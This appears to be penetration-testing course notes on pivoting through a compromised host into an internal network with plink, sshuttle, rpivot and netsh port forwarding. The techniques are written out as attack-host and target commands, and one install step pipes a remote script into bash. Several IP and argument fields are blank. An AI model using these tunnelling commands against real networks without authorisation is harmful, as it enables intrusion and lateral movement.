# Pivoting Around Obstacles
## SSH for Windows: plink.exe
[Plink](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html), short for PuTTY Link, is a Windows command-line SSH tool that comes as a part of the PuTTY package when installed.
Before the Fall of [2018](https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_overview), Windows did not have a native ssh client included, so users would have to install their own. The tool of choice for many a sysadmin who needed to connect to other hosts was [PuTTY](https://www.putty.org/).
That is just one potential scenario where Plink could be beneficial. We could also use Plink if we use a Windows system as our primary attack host instead of a Linux-based system.
### Getting To Know Plink
```cmd-session
plink -ssh -D 9050 ubuntu@10.129.15.50
```
Another Windows-based tool called [Proxifier](https://www.proxifier.com) can be used to start a SOCKS tunnel via the SSH session we created. Proxifier is a Windows tool that creates a tunneled network for desktop client applications and allows it to operate through a SOCKS or HTTPS proxy and allows for proxy chaining.
It is possible to create a profile where we can provide the configuration for our SOCKS server started by Plink on port 9050.
After configuring the SOCKS server for `127.0.0.1` and port 9050, we can directly start `mstsc.exe` to start an RDP session with a Windows target that allows RDP connections.
## SSH Pivoting with Sshuttle
[Sshuttle](https://github.com/sshuttle/sshuttle) is another tool written in Python which removes the need to configure proxychains.
However, this tool only works for pivoting over SSH and does not provide other options for pivoting over TOR or HTTPS proxy servers.
We can configure the Ubuntu server as a pivot point and route all of Nmap's network traffic with sshuttle using the example later in this section.
One interesting usage of sshuttle is that we don't need to use proxychains to connect to the remote hosts. Let's install sshuttle via our Ubuntu pivot host and configure it to connect to the Windows host via RDP.
```bash
sudo apt-get install sshuttle
```
To use sshuttle, we specify the option `-r` to connect to the remote machine with a username and password.
Then we need to include the network or IP we want to route through the pivot host, in our case, is the network 172.16.5.0/23.
```shell-session
sudo sshuttle -r ubuntu@ 172.16.5.0/23 -v
```
With this command, sshuttle creates an entry in our `iptables` to redirect all traffic to the 172.16.5.0/23 network through the pivot host.
**Traffic Routing through iptables Routes**
```bash
nmap -v -sV -p3389 -A -Pn
```
We can now use any tool directly without using proxychains.
## Web Server Pivoting with Rpivot
[Rpivot](https://github.com/klsecservices/rpivot) is a reverse SOCKS proxy tool written in Python for SOCKS tunneling.
Rpivot binds a machine inside a corporate network to an external server and exposes the client's local port on the server-side.
We will take the scenario below, where we have a web server on our internal network (`172.16.5.135`), and we want to access that using the rpivot proxy.
```bash
git clone https://github.com/klsecservices/rpivot.git
sudo apt-get install python2.7
```
Another way to install python 2.7
```bash
curl https://pyenv.run | bash
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(pyenv init -)"' >> ~/.bashrc
source ~/.bashrc
pyenv install 2.7
pyenv shell 2.7
```
We can start our rpivot SOCKS proxy server to connect to our client on the compromised Ubuntu server using `server.py`.
**Running server.py from the Attack Host**
```bash
python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0
```
Before running `client.py` we will need to transfer rpivot to the target. We can do this using this SCP command:
**Transfering rpivot to the Target**
```shell-session
scp -r rpivot ubuntu@:/home/ubuntu/
```
```shell-session
python2.7 client.py --server-ip 10.10.14.18 --server-port 9999
```
We will configure proxychains to pivot over our local server on 127.0.0.1:9050 on our attack host, which was initially started by the Python server.
Finally, we should be able to access the webserver on our server-side, which is hosted on the internal network of 172.16.5.0/23 at 172.16.5.135:80 using proxychains and Firefox.
```shell-session
proxychains firefox-esr 172.16.5.135:80
```
Some organizations have [HTTP-proxy with NTLM authentication](https://docs.microsoft.com/en-us/openspecs/office_protocols/ms-grvhenc/b9e676e7-e787-4020-9840-7cfe7c76044a) configured with the Domain Controller. In such cases, we can provide an additional NTLM authentication option to rpivot to authenticate via the NTLM proxy by providing a username and password. In these cases, we could use rpivot's client.py in the following way:
```bash
python client.py --server-ip --server-port 8080 --ntlm-proxy-ip --ntlm-proxy-port 8081 --domain --username --password
```
## Port Forwarding with Windows Netsh
[Netsh](https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-contexts) is a Windows command-line tool that can help with the network configuration of a particular Windows system. Here are just some of the networking related tasks we can use `Netsh` for:
* `Finding routes`
* `Viewing the firewall configuration`
* `Adding proxies`
* `Creating port forwarding rules`
We can use `netsh.exe` to forward all data received on a specific port (say 8080) to a remote host on a remote port. This can be performed using the below command.
```batch
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.15.150 connectport=3389 connectaddress=172.16.5.25
```
**Verifying Port Forward**
```batch
netsh.exe interface portproxy show v4tov4
```
After configuring the `portproxy` on our Windows-based pivot host, we will try to connect to the 8080 port of this host from our attack host using xfreerdp. Once a request is sent from our attack host, the Windows host will route our traffic according to the proxy settings configured by netsh.exe.
